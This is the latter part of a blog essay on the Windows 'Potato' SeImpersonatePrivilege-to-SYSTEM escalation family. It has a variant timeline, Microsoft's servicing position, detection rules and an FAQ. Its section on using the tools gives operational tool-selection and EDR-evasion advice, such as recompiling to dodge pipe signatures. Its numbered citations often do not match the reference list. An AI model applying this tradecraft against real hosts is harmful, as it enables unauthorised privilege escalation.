Microsoft assigned CVE-2024-38100 and shipped the patch in the July 2024 Patch Tuesday cumulative updates on July 9, 2024 (KB5040434 for Windows 10 1607 / Windows Server 2016; equivalent KBs for Windows 11, Server 2019, Server 2022, and Server 2025) -- four weeks before the public disclosure [@decoder-fakepotato; @nvd-cve-2024-38100; @msrc-cve-2024-38100]. The patch corrects the explorer.exe ACL in High Integrity Level contexts so the Authenticated Users permission required for activation is no longer granted. The underlying cross-session Distributed COM activation primitive that SilverPotato and FakePotato share is untouched [@decoder-silverpotato; @decoder-fakepotato].

FakePotato is not, in the relay sense, a Potato at all. It is a misconfiguration of the ShellWindows Distributed COM application's permissions in High Integrity Level contexts [35]. Pierini's "Fake" framing acknowledges the divergence from the NTLM-reflection pattern that defined the family from RottenPotato through GodPotato. The naming choice is itself a small piece of taxonomy: not every member of the family is a token-relay exploit, even if every member exploits the same architectural carve-out.

After nearly a decade of patching specific vehicles and refusing to declare the underlying primitive a boundary, Microsoft's pattern is hard to miss.

7. Eleven Variants at a Glance

Nine years of named-variant disclosures, eleven named variants, one architectural argument. The table below is sourced cell by cell from the preceding sections.

VariantDateAuthorsCoercion vehicleMitigation it bypassedMicrosoft responseStill works in 2026?
HotPotato [15]Jan 16, 2016Stephen BreenNBNS spoof + WPAD + HTTP-to-SMB relayMS08-068 same-protocol-only fixNone named; EPA/SMB hardening eventually closed the vehicleOnly on pre-1607 builds
RottenPotato [18]Sep 23, 2016Stephen Breen + Chris MallzDCOM activation via BITS CLSID on 127.0.0.1:6666(none yet)NoneOnly pre-1809 builds
RottenPotatoNG [20]Dec 29, 2017breenmachineSame as RottenPotato (C++ port; no Metasploit)(none yet)NoneOnly pre-1809 builds
JuicyPotato [19]Jul 27, 2018Andrea Pierini + Giuseppe TrottaGeneralised DCOM activation; CLSID matrix(none yet)OXID-resolver hard-coding in Win10 1809 / Server 2019 [8]Only pre-1809 builds
RoguePotato [24]May 10, 2020Antonio Cocomazzi + Andrea PieriniDCOM activation through remote TCP-135 forwarder2019-2020 OXID-resolver hardeningNone (no CVE)Only pre-Phase-3 builds
PrintSpoofer [6]Early May 2020Clément LabroPrint Spooler RPC RpcRemoteFindFirstPrinterChangeNotificationExAll DCOM-side hardening (irrelevant)None (no CVE)Yes, when Spooler is running
RemotePotato0 [26]Apr 2021Antonio Cocomazzi + Andrea PieriniCross-session DCOM/RPC NTLM relay(defines a new threat surface)"Won't Fix"; partial Oct 2022 RPC-to-LDAP mitigationPartially (primitive intact)
JuicyPotatoNG [@antonio-juicyng; @decoder-juicyng]Sep 21, 2022Andrea Pierini + Antonio CocomazziLocal-OXID trick + LogonUser NewCredentialsCVE-2021-26414 Phase 1 and Phase 2None (no CVE)Only pre-Phase-3 builds
GodPotato [2]Dec 23, 2022BeichenDreamRPCSS OXID-handling defect (no resolver redirect)All three CVE-2021-26414 phasesNone (no CVE)Yes -- the 2026 default
LocalPotato / CVE-2023-21746 [@decoder-localpotato; @nvd-cve-2023-21746]Patched Jan 10, 2023Andrea Pierini + Antonio CocomazziNTLM Type-2 "Reserved" field context swap(orthogonal -- attacks LSASS)CVE-2023-21746 (first local-Potato CVE)No -- patched
SilverPotato / ADCSCoercePotato [@decoder-silverpotato; @troopers24]Apr 24, 2024Andrea Pierini + Antonio CocomazziCross-session DCOM against sppui AppIDPost-RemotePotato0 partial mitigationsStill in review by MSRC as of mid-2026Yes -- unpatched
FakePotato / CVE-2024-38100 [@decoder-fakepotato; @nvd-cve-2024-38100]Disclosed Aug 2, 2024Andrea PieriniCross-session DCOM against ShellWindows AppID (ACL bug)(orthogonal)CVE-2024-38100 in the July 2024 Patch Tuesday (KB5040434 for 1607/Server 2016; per-build KBs elsewhere)No -- patched

Two CVEs in nine years of named-variant disclosures. One "Won't Fix" decision on a working Domain Admin escalation. Zero declarations of SeImpersonatePrivilege or Distributed COM activation as a security boundary. The pattern is consistent across every column [@troopers24; @msrc-servicing-criteria].

Two CVEs in a decade, against a family with eleven named variants. The first CVE was for a piece of the local NTLM protocol that is on the servicing-criteria list, not for the underlying SeImpersonate-to-SYSTEM primitive. The second was for a Distributed COM access-control list misconfiguration, not for cross-session activation as a class. Microsoft will assign CVEs to specific vehicles when forced. It will not declare the architectural primitive a security boundary [@nvd-cve-2023-21746; @nvd-cve-2024-38100; @troopers24].

8. The 2026 Decision Surface

In May 2026, an operator with SeImpersonatePrivilege on a default Windows 11 box has a small menu of working tools, plus three legacy variants that remain useful on unpatched fleets. The current toolkit:

MethodCoercion vehicleOS coverageWhen to use it
GodPotato [2]RPCSS OXID defectWin 8 to Win 11; Server 2012 to Server 2025Default first try on any in-support Windows
SweetPotato [36]Selectable: PrintSpoofer (default), DCOM, EfsRpc, WinRMWin 7+ depending on selected modeWhen GodPotato's binary signature is blocked
SharpEfsPotato [37]EFS RPC (EfsRpcOpenFileRaw)Server 2019+, Win 10/11 with EFS RPC enabledDCOM locked down and Spooler disabled
PrintSpoofer [6]Print Spooler RPCAny host with Spooler runningThe lowest-noise option on Spooler-enabled hosts
JuicyPotatoNG [29]Local-OXID + legacy CLSIDPre-Phase-3 DCOM hardening onlyCorporate fleets with delayed CVE-2021-26414 rollout
RoguePotato [24]Remote TCP-135 forwarderPre-Phase-3 DCOM hardeningPre-2022 hardened-OXID-only systems with attacker remote infra
SilverPotato [32]Cross-session DCOM against DCDefault DCs with Distributed COM Users or Performance Log Users membershipDomain-tier escalation -- the only currently-unpatched cross-session variant

Plus three legacy variants worth knowing about: JuicyPotato on pre-1809 builds, RottenPotato on Server 2008 R2 / Windows 7 ESU-eligible builds, and HotPotato as the canonical naming origin and the source of the family's "documented Win32 calls" framing [@ohpe-juicy; @foxglove-rotten-repo; @foxglove-hotpotato]. Embedded Windows builds (Windows 10 IoT LTSC 2019, some industrial controllers, ATM images) frequently fall behind the OXID-resolver mitigation and remain JuicyPotato-vulnerable through 2026.

Every one of these tools has a Microsoft mitigation in its history. None of those mitigations closed the family. The next section asks what mitigation could.

9. What Would It Take To Close the Family?

A counterfactual sharpens the question. Suppose Microsoft decided in 2026 that the family must end. Three closure options exist, and each carries a compatibility cost.

Closure optionMechanismCompatibility cost
1. Declare SeImpersonatePrivilege a security boundaryRevoke the privilege from default service accounts (IIS app pools, SQL Server, BITS, Task Scheduler, the Spooler)Operationally prohibitive: thousands of third-party services depend on the default grant
2. Declare Distributed COM activation a security boundaryValidate the activator's identity against the activated CLSID's registered identity on every activationBreaks 25 years of legacy Distributed COM applications written between 1996 and 2021 [38]
3. Deprecate ImpersonateNamedPipeClient as a Win32 primitiveRemove the call from namedpipeapi.h or gate it behind a Trustlet validationBreaks parts of CSRSS, the console subsystem, and LSASS itself; no deprecation notice exists in the API reference as of mid-2026 [1]

The CVE-2021-26414 hardening creeps toward option 2 for remote Distributed COM but explicitly does not for local Distributed COM [9]. The Adminless direction in Windows 11 24H2 -- Microsoft's "Administrator protection" platform feature, currently a preview shipped first via Windows Insider builds and not yet generally available [39] -- introduces a per-application admin-elevation gate, but operates above the SYSTEM-impersonation primitive, not below it. Credential Guard isolates LSASS secrets in a Virtualization-Based Security Trustlet -- which protects NTLM hashes from extraction but does not gate ImpersonateNamedPipeClient or SeImpersonatePrivilege [40]. Smart App Control restricts arbitrary binary execution but does not block in-process exploitation by a SYSTEM-running service [41].

The lower bound on attack cost is therefore O(1) per invocation, and it stays O(1) as long as the servicing-criteria carve-out holds. No combination of currently-shipping mitigations moves it.

The Potato family is a fixed point of the current Windows architecture. Every closure option carries a compatibility cost that no currently-announced Microsoft release accepts. Until the MSRC Windows Security Servicing Criteria changes the position on SeImpersonatePrivilege and Distributed COM activation, the family's lower attack cost is O(1) and no servicing patch can move it [@msrc-servicing-criteria; @troopers24].

10. Open Problems

Five questions sit at the research frontier in 2026.

The next coercion vehicle. Each Potato variant is one SYSTEM-context service with a callback-style API. As the family has matured, researchers have mapped a growing surface of candidates: EFS RPC (which SharpEfsPotato already weaponises [37]), Print Spooler async RPC (MS-PAR), Windows Search remote protocol (MS-WSP), and Microsoft Distributed Transaction Coordinator RPC. The community-empirical conjecture, repeated across Troopers 24 [7] and the Compass Security retrospective [3], is that any SYSTEM-context Windows service with a callback-style API becomes a Potato vehicle within roughly eighteen months of operational need.

The "eighteen-month vehicle cadence" is an informal community claim, not a measured statistic. It originates in the Troopers 24 retrospective by Pierini and Cocomazzi [7] and is reinforced by the Compass Security follow-on documenting how the SilverPotato chain was productised within months of Pierini's February 2024 ADCS-server post [@decoder-adcs-server; @compass-three-headed]. The number should be read as a rule of thumb, not a benchmark.

Linux and Windows Subsystem for Linux extension. No Linux analogue of SeImpersonatePrivilege exists. There are partial precedents in the impacket cross-protocol relay work, but no Potato-class primitive that produces a SYSTEM token on a Linux host. Open.

Will defence-in-depth combine to close the family without ever declaring a new boundary? Microsoft has shipped Credential Guard [40], Hypervisor-Protected Code Integrity [42], Smart App Control [41], and the experimental Administrator-protection direction in Windows 11 24H2 [39]. Each changes the runtime trust model in some way. No combination of currently-shipping technologies closes the family as of May 2026 -- the Potato primitives live below the layer those technologies operate on [@troopers24; @compass-three-headed].

A defensive detection primitive that catches every variant. The unifying invariant is ImpersonateNamedPipeClient being called from a thread that holds SeImpersonatePrivilege against a named pipe that has just received a SYSTEM-context authentication originating from a service the calling process did not initiate. Per-variant detection rules exist for each named tool (GodPotato, PrintSpoofer, JuicyPotato). A generalising rule has not been published [1]. The informal community position is that the family is non-detectable as a class because the primitive is in the legitimate hot path of nearly every Windows service.

MSRC servicing-criteria position on cross-session Distributed COM activation. LocalPotato (CVE-2023-21746) received a CVE for a piece of the local NTLM protocol [43]. FakePotato (CVE-2024-38100) received a CVE for an access-control list misconfiguration on the ShellWindows AppID [44]. SilverPotato is still unpatched [@decoder-silverpotato; @troopers24]. The boundary that distinguishes these three is unclear: why was the ShellWindows cross-session activation patched while the sppui cross-session activation has not been? The answer determines the next decade of the family. The defensible reading is that Microsoft will service variants that look like permission misconfigurations on a single AppID but not the underlying cross-session Distributed COM activation primitive itself.

11. How to Use a Potato in 2026

The practitioner question is operational. Given a foothold and a goal, which Potato variant does the job? The decision tree below walks through the path researchers settle into on red-team engagements.

Ctrl + scroll to zoom
The 2026 Potato decision tree -- from OS-in-support through to the recommended binary.

The first-try heuristic is short. GodPotato first, because it is the single binary that works on every in-support Windows release [2]. If the GodPotato binary signature is blocked by Endpoint Detection and Response, SweetPotato with -e PrintSpoofer (or -e EfsRpc on a Domain Controller where Spooler is off) [36]. If both are blocked, SharpEfsPotato as the lower-public-exposure third choice [37]. For pre-2023 unpatched fleets, JuicyPotatoNG during the Phase-2 hardening window and JuicyPotato on pre-1809 builds [@antonio-juicyng; @ohpe-juicy]. For domain escalation against a DC, SilverPotato with the Compass Security KrbRelay modifications [@decoder-silverpotato; @compass-three-headed].

Several implementation pitfalls catch new operators. The named-pipe path that GodPotato uses (\pipe\<token>\pipe\epmapper) is widely signatured by EDR vendors -- see the detection-engineering Spoiler below for the specific Sigma and Elastic rules [@sigma-potato-hktl; @elastic-rogue-pipe] -- and recompiling from source with a different pipe template is the standard countermeasure. A token holding SeImpersonatePrivilege does not necessarily enable it -- explicit AdjustTokenPrivileges with SE_PRIVILEGE_ENABLED is required, and custom adaptations frequently miss the step [45]. SweetPotato's default -e PrintSpoofer mode fails silently on a Domain Controller where Spooler is disabled per the PrintNightmare aftermath; the correct DC default is GodPotato or SharpEfsPotato. RoguePotato's outbound TCP 135 to attacker infrastructure is blocked by default in most enterprise networks. FakePotato and SilverPotato both require the victim identity to be actively logged in, since both depend on a live cross-session activation surface [@itm4n-printspoofer; @antonio-rogue; @decoder-silverpotato; @decoder-fakepotato].

The detection-engineering side

If you defend Windows rather than attack it, the detection target is the conjunction of (a) named-pipe creation by an IIS or SQL or service account, (b) a SYSTEM-context process connecting to that pipe shortly after, and (c) CreateProcessWithToken from the original service-account process. None of the three events alone is anomalous. The conjunction is. Sysmon Event ID 1 (Process Create) paired with Event IDs 17 and 18 (PipeEvent: Pipe Created and Pipe Connected) plus ETW providers Microsoft-Windows-COM and Microsoft-Windows-RPC cover the activation-plus-pipe half [46]; Sysmon Event ID 10 (ProcessAccess) on lsass.exe from the originating service account is the third pillar that surfaces the impersonation handle acquisition [46]. Per-variant signatures are published as Sigma rules for the public LocalPotato, CoercedPotato, JuicyPotato, RottenPotato, and EfsPotato binaries [@sigma-potato-hktl; @sigma-localpotato], and Elastic's privilege_escalation_via_rogue_named_pipe rule fires on the PrintSpoofer / EfsPotato pipe-path pattern that GodPotato shares [47]. A class-generalising rule that fires on the primitive (rather than per-binary) has not been published.

Library and framework support follows the same shape as any post-exploitation primitive (the picture here is community-empirical, drawn from public BOF and module repositories rather than vendor reference architectures). Cobalt Strike Beacon Object Files wrapping GodPotato, PrintSpoofer, and SweetPotato are widely shared in the red-team community -- incursi0n/GodPotatoBOF is one publicly published example that integrates with BeaconUseToken() for in-Beacon SYSTEM-token application [48] -- and the same wrappers load into Sliver. PowerShell wrappers around PrintSpoofer and JuicyPotato are integrated into Empire and Starkiller. The Metasploit incognito post-exploitation module handles token impersonation as a primitive but does not wrap GodPotato directly [49]. The impacket toolkit's ntlmrelayx is the canonical relay engine for the tail of SilverPotato [50], and OleViewDotNet -- Forshaw's tool -- is the discovery oracle that surfaced the sppui and ShellWindows AppIDs in the first place [@tyranid-oleview; @decoder-silverpotato; @decoder-fakepotato].

12. Frequently Asked Questions

Frequently asked questions

Is HotPotato a 'real' Potato or did the name come later?

The name Potato originates with Stephen Breen's foxglovesec/Potato repository, created February 9, 2016, three weeks after the January 16, 2016 HotPotato blog post [@foxglove-potato-repo; @foxglove-hotpotato]. HotPotato is in the family because it pivots through the same SeImpersonatePrivilege plus named-pipe-impersonation primitive that every later variant exploits -- the vehicle is different (NetBIOS spoofing + WPAD + HTTP-to-SMB rather than Distributed COM) but the architectural carve-out is the same. See §4 for the bracketing-variant framing.

Why does `whoami /priv` show `SeImpersonatePrivilege` on my IIS host?

Because every Internet Information Services application-pool identity is granted the privilege by Windows default [6]. The grant exists for legitimate request-scoped impersonation -- it is the mechanism IIS uses to "act as" a calling user during authenticated request handling. The same default grant is the entire vulnerability surface for the Potato family. The Microsoft Security Servicing Criteria document treats the resulting SeImpersonate-to-SYSTEM transition as a safety boundary rather than a security boundary [@msrc-servicing-criteria; @troopers24].

Did Microsoft fix Distributed COM activation in 2023?

No. CVE-2021-26414 hardening raises the authentication bar for Distributed COM clients to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY and was fully enforced on March 14, 2023 in Phase 3 of the rollout [9]. It does not declare Distributed COM activation a security boundary. The proof is that GodPotato, which exploits an RPCSS OXID-handling defect rather than the activation authentication level, survives all three phases of the rollout and remains the practitioner default in 2026 [2].

Why didn't RemotePotato0 get a CVE in 2021 but LocalPotato did in 2023?

Open question, with a defensible reading. LocalPotato attacks the local-user-to-local-user NTLM authentication context handle, which is on the servicing-criteria boundary list [@decoder-localpotato; @msrc-servicing-criteria]. RemotePotato0 attacks the SeImpersonate-to-SYSTEM transition via cross-session Distributed COM activation, which is not on the list and was therefore deemed an extension of the existing carve-out [@sentinellabs-relaying; @troopers24]. The two boundaries (local NTLM authentication context vs cross-session Distributed COM activation) are not equivalent in Microsoft's published servicing position.

Is GodPotato still safe to use in 2026?

Yes, on every patched Windows 11 / Server 2025 build as of this writing [2]. The RPCSS OXID-handling defect that GodPotato weaponises survives all three CVE-2021-26414 hardening phases [@ms-kb5004442; @compass-three-headed]. Microsoft has not assigned a CVE to the underlying defect, consistent with the servicing-criteria reading. Operationally, the only thing that changes between releases is the binary signature -- EDR vendors signature the public Apache-2.0 binary by hash, and operators recompile from source with cosmetic changes to evade [2].

What about the rumoured 'PetiteMaisChère' Potato?

Does not exist as of May 2026. If a 2025-2026 variant appears under an unfamiliar name -- French or otherwise -- verify against the canonical sources before citing: decoder.cloud for the Pierini and Cocomazzi line, github.com/antonioCoco/* for the Cocomazzi-authored repositories, github.com/BeichenDream/* for the BeichenDream line, and itm4n.github.io for the PrintSpoofer / SweetPotato line [@decoder-silverpotato; @antonio-rogue; @beichendream-god; @itm4n-printspoofer]. The Troopers 24 retrospective is the community-canonical lineage list as of the most recent consolidated talk [7].

Are Potato exploits detectable as a class?

Informally, no. The primitive ImpersonateNamedPipeClient is in the legitimate hot path of nearly every Windows service [1]. Per-variant signatures exist for the public binaries (GodPotato, PrintSpoofer, JuicyPotato), and ETW providers Microsoft-Windows-COM and Microsoft-Windows-RPC surface the activation-and-RPC events that the Distributed COM variants generate. A class-generalising detection rule has not been published as of May 2026, and the false-positive rate on legitimate Windows services is high for any rule that fires on ImpersonateNamedPipeClient alone [7].

13. The Architectural Decision

Return to the opening scene. The same Internet Information Services web shell, the same GodPotato.exe, the same ten-second SYSTEM shell. The reader now knows this is not a zero-day. It has been a single-binary operation for the better part of a decade. Every step is documented Win32 behaviour. And every step is permitted by Microsoft's published servicing position [@beichendream-god; @msrc-servicing-criteria; @troopers24].

Nine years of named-variant disclosures. Eleven named variants. Three Microsoft hardening waves. Two CVEs -- LocalPotato in January 2023, FakePotato in July 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]. One "Won't Fix" decision on a working Domain Admin escalation in April 2021 [26]. Zero declarations of SeImpersonatePrivilege or Distributed COM activation as a security boundary [@troopers24; @msrc-servicing-criteria]. The MSRC Windows Security Servicing Criteria document, the one whose boundary definition fetches in static HTML and whose enumeration table is JavaScript-rendered, is the through-line [10]. Pierini and Cocomazzi say it bluntly in the Troopers 24 abstract:

"Microsoft does not consider WSH a security boundary but rather a safety boundary; for this reason, many Potato exploits work (and have been working) on fully updated Windows systems." -- Pierini and Cocomazzi, Troopers 24 abstract [7]

Microsoft will never fix the Potato class because fixing it requires declaring Distributed COM activation a security boundary, and they have spent twenty-five years insisting it is not. What would change that? A major-version Windows release that explicitly revokes the default SeImpersonatePrivilege grant from service accounts -- a compatibility-breaking change that breaks IIS, SQL Server, BITS, the Spooler, and most third-party services that depend on the legitimate impersonation contract. No such release is on the public roadmap as of May 2026 [@msrc-servicing-criteria; @ms-kb5004442; @beichendream-god].

Until then, the family is alive, and the ten-second SYSTEM shell is the default outcome of any IIS or service-account foothold on a fully-patched Windows machine. That is not the unintended consequence of an unpatched bug. That is the intended consequence of a published architectural decision.

The Potato family is not a stack of bugs Microsoft is slowly working through. It is the long-running consequence of a published architectural decision: that the SeImpersonatePrivilege-to-SYSTEM transition is a safety boundary, not a security boundary. Eleven variants over nine years of named-variant disclosures (HotPotato January 2016 -> FakePotato August 2024) are the empirical proof of how stable that decision is [@troopers24; @msrc-servicing-criteria].

The following retention block summarises the six key terms above. Citations for each definition live in §2.1, §2.2, §6.5, §6.1, §3, and §2 of the body respectively (the StudyGuide MDX wrapper does not render @ref-id links inline).

Study guide

Key terms

SeImpersonatePrivilege
Windows user-rights assignment that permits a thread to substitute another user's security context for its own; granted by default to LOCAL SERVICE, NETWORK SERVICE, and most service accounts (see §2.1 for full citation).
ImpersonateNamedPipeClient
Win32 API that lets a named-pipe server adopt the security context of whoever just connected to the pipe; documented today as supported since Windows XP for clients and Windows Server 2003 for servers (see §2.2 for full citation).
OXID resolver
RPCSS subsystem that resolves Object Exporter Identifiers during DCOM activation; hard-coded to 127.0.0.1:135 in Windows 10 1809 / Server 2019 to mitigate JuicyPotato (see §6.1).
RPC_C_AUTHN_LEVEL_PKT_INTEGRITY
RPC authentication-level constant requiring per-packet integrity signing; the minimum CVE-2021-26414 enforces on DCOM activation in Phase 3 (March 14, 2023) (see §6.5).
NTLM reflection
Special case of NTLM relay where the authentication is forwarded back to the originating machine, typically across protocols (HTTP to SMB, DCOM to local RPC) (see §3).
Security boundary vs safety boundary
MSRC servicing-criteria distinction: security boundaries get CVEs and security updates; safety boundaries are patched when convenient but carry no service-level guarantee (see §2).

References

  1. (2009). MSRC: Token Kidnapping. https://www.microsoft.com/en-us/msrc/blog/2009/04/token-kidnapping ↩
  2. (2026). Impersonate a client after authentication (Windows security policy reference). https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/impersonate-a-client-after-authentication ↩
  3. (2025). ImpersonateNamedPipeClient function (namedpipeapi.h). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient ↩
  4. (2025). Microsoft -- Windows Security Servicing Criteria. https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria ↩
  5. Andrea Pierini & Antonio Cocomazzi (2024). 10 Years of Windows Privilege Escalation with 'Potatoes'. https://troopers.de/troopers24/talks/cyzbj3/ ↩
  6. BeichenDream (2022). BeichenDream/GodPotato (GitHub repository). https://github.com/BeichenDream/GodPotato ↩
  7. Compass Security (2024). Three-Headed Potato Dog. https://blog.compass-security.com/2024/09/three-headed-potato-dog/ ↩
  8. Clément Labro (2020). PrintSpoofer -- Abusing Impersonation Privileges on Windows 10 and Server 2019. https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ ↩
  9. (2024). [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol. https://learn.microsoft.com/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0 ↩
  10. James Forshaw (2021). Windows Exploitation Tricks: Relaying DCOM Authentication. https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html ↩
  11. (2023). KB5004442 -- Manage changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414). https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c ↩
  12. (2023). NVD -- CVE-2023-21746 (Windows NTLM Elevation of Privilege Vulnerability). https://nvd.nist.gov/vuln/detail/CVE-2023-21746 ↩
  13. (2024). NVD -- CVE-2024-38100. https://nvd.nist.gov/vuln/detail/CVE-2024-38100 ↩
  14. Cesar Cerrudo (2008). Token Kidnapping (HITBSecConf 2008 Dubai, D2T1) -- conference materials archive. http://web.archive.org/web/20140928125248/http://conference.hitb.org/hitbsecconf2008dubai/materials/D2T1%20-%20Cesar%20Cerrudo%20-%20Token%20Kidnapping.zip ↩
  15. Cesar Cerrudo (2010). Token Kidnapping's Revenge. https://media.blackhat.com/bh-us-10/whitepapers/Cerrudo/BlackHat-USA-2010-Cerrudo-Toke-Kidnapping's-Revenge-wp.pdf ↩
  16. (2008). Microsoft Security Bulletin MS08-068 -- Vulnerability in SMB Could Allow Remote Code Execution (957097). https://learn.microsoft.com/security-updates/securitybulletins/2008/ms08-068 ↩
  17. Sir Dystic (2001). The SMB Man-In-the-Middle Attack / SMBRelay. https://cultdeadcow.com/tools/smbrelay.html ↩
  18. (2015). NVD -- CVE-2015-2370 (Windows RPC Elevation of Privilege Vulnerability). https://nvd.nist.gov/vuln/detail/CVE-2015-2370 ↩
  19. Stephen Breen (2016). Hot Potato. https://foxglovesecurity.com/2016/01/16/hot-potato/ ↩
  20. Stephen Breen (2016). foxglovesec/Potato (GitHub repository). https://github.com/foxglovesec/Potato ↩
  21. (2019). From the archives: Drop the MIC (CVE-2019-1040). https://crowdstrike.com/en-us/blog/from-the-archives-drop-the-mic-cve-2019-1040/ ↩
  22. Stephen Breen & Chris Mallz (2016). Rotten Potato -- Privilege Escalation from Service Accounts to SYSTEM. https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ ↩
  23. Andrea Pierini & Giuseppe Trotta (2018). ohpe/juicy-potato (GitHub repository). https://github.com/ohpe/juicy-potato ↩
  24. Stephen Breen (2016). foxglovesec/RottenPotato (GitHub repository). https://github.com/foxglovesec/RottenPotato ↩
  25. Stephen Breen (2017). breenmachine/RottenPotatoNG (GitHub repository). https://github.com/breenmachine/RottenPotatoNG ↩
  26. Andrea Pierini (2020). decoder-it/lonelypotato (GitHub repository). https://github.com/decoder-it/lonelypotato ↩
  27. Andrea Pierini & Antonio Cocomazzi (2019). We thought they were Potatoes but they were Beans. https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/ ↩
  28. Andrea Pierini (2018). No more Rotten/Juicy Potato. https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/ ↩
  29. Antonio Cocomazzi & Andrea Pierini (2020). antonioCoco/RoguePotato (GitHub repository). https://github.com/antonioCoco/RoguePotato ↩
  30. James Forshaw (2020). Sharing a Logon Session a Little Too Much. https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html ↩
  31. Antonio Cocomazzi (2021). Relaying Potatoes -- Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol. https://www.sentinelone.com/labs/relaying-potatoes-dce-rpc-ntlm-relay-eop/ ↩
  32. Antonio Cocomazzi & Andrea Pierini (2021). antonioCoco/RemotePotato0 (GitHub repository). https://github.com/antonioCoco/RemotePotato0 ↩
  33. (2022). DCOM authentication hardening: what you need to know. https://techcommunity.microsoft.com/t5/windows-it-pro-blog/dcom-authentication-hardening-what-you-need-to-know/ba-p/3657154 ↩
  34. Andrea Pierini (2022). Giving JuicyPotato a second chance: JuicyPotatoNG. https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/ ↩
  35. Antonio Cocomazzi & Andrea Pierini (2022). antonioCoco/JuicyPotatoNG (GitHub repository). https://github.com/antonioCoco/JuicyPotatoNG ↩
  36. (2023). MSRC Security Update Guide -- CVE-2023-21746. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21746 ↩
  37. Andrea Pierini & Antonio Cocomazzi (2023). LocalPotato -- When swapping the context leads you to SYSTEM. https://decoder.cloud/2023/02/13/localpotato-when-swapping-the-context-leads-you-to-system/ ↩
  38. Andrea Pierini & Antonio Cocomazzi (2023). LocalPotato (companion site). https://www.localpotato.com ↩
  39. Andrea Pierini & Antonio Cocomazzi (2024). Hello, I'm your domain admin and I want to authenticate against you. https://decoder.cloud/2024/04/24/hello-im-your-domain-admin-and-i-want-to-authenticate-against-you/ ↩
  40. Andrea Pierini (2024). decoder-it/ADCSCoercePotato (GitHub repository). https://github.com/decoder-it/ADCSCoercePotato ↩
  41. Tianze Ding (2024). CertifiedDCOM -- The Privilege Escalation Journey to Domain Admin. https://i.blackhat.com/Asia-24/Presentations/Asia-24-Ding-CertifiedDCOM-The-Privilege-Escalation-Journey-to-Domain-Admin.pdf ↩
  42. Andrea Pierini (2024). Hello, I'm your ADCS server and I want to authenticate against you. https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/ ↩
  43. Andrea Pierini (2024). The Fake Potato. https://decoder.cloud/2024/08/02/the-fake-potato/ ↩
  44. (2024). MSRC Security Update Guide -- CVE-2024-38100. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38100 ↩
  45. CCob (2020). CCob/SweetPotato (GitHub repository). https://github.com/CCob/SweetPotato ↩
  46. bugch3ck (2021). bugch3ck/SharpEfsPotato (GitHub repository). https://github.com/bugch3ck/SharpEfsPotato ↩
  47. (2025). Administrator protection (Windows 11 24H2 platform security). https://learn.microsoft.com/en-us/windows/security/application-security/application-control/administrator-protection/ ↩
  48. (2026). Credential Guard overview. https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/ ↩
  49. (2025). Smart App Control -- Windows apps overview. https://learn.microsoft.com/en-us/windows/apps/develop/smart-app-control/overview ↩
  50. (2025). Enable memory integrity (HVCI -- Hypervisor-Protected Code Integrity). https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity ↩
  51. Florian Roth & SigmaHQ contributors (2024). SigmaHQ/sigma -- Generic Potato hacktool process access rule (proc_access_win_hktl_generic_access.yml). https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_access/proc_access_win_hktl_generic_access.yml ↩
  52. Elastic Security (2024). elastic/detection-rules -- Privilege Escalation via Rogue Named Pipe Impersonation (PrintSpoofer / EfsPotato pipe paths). https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_via_rogue_named_pipe.toml ↩
  53. (2025). AdjustTokenPrivileges function (securitybaseapi.h). https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges ↩
  54. Mark Russinovich & Thomas Garnier (2026). Sysmon (System Monitor) -- Sysinternals. https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon ↩
  55. SigmaHQ contributors (2023). SigmaHQ/sigma -- HackTool: LocalPotato Execution detection rule. https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml ↩
  56. incursi0n (2024). incursi0n/GodPotatoBOF -- Cobalt Strike Beacon Object File port of GodPotato. https://github.com/incursi0n/GodPotatoBOF ↩
  57. Rapid7 (2024). rapid7/metasploit-payloads -- incognito Meterpreter extension (token impersonation). https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/incognito/incognito.c ↩
  58. Fortra Core Security (2026). fortra/impacket -- Python classes for network protocols (ntlmrelayx). https://github.com/fortra/impacket ↩
  59. James Forshaw (2024). tyranid/oleviewdotnet -- COM/DCOM discovery and instrumentation tool. https://github.com/tyranid/oleviewdotnet ↩

Spot a bug?

- printed from https://paragmali.com/blog/system-in-ten-seconds-how-the-potato-family-survived-every-m/ · ©2026 Parag Mali · CC BY 4.0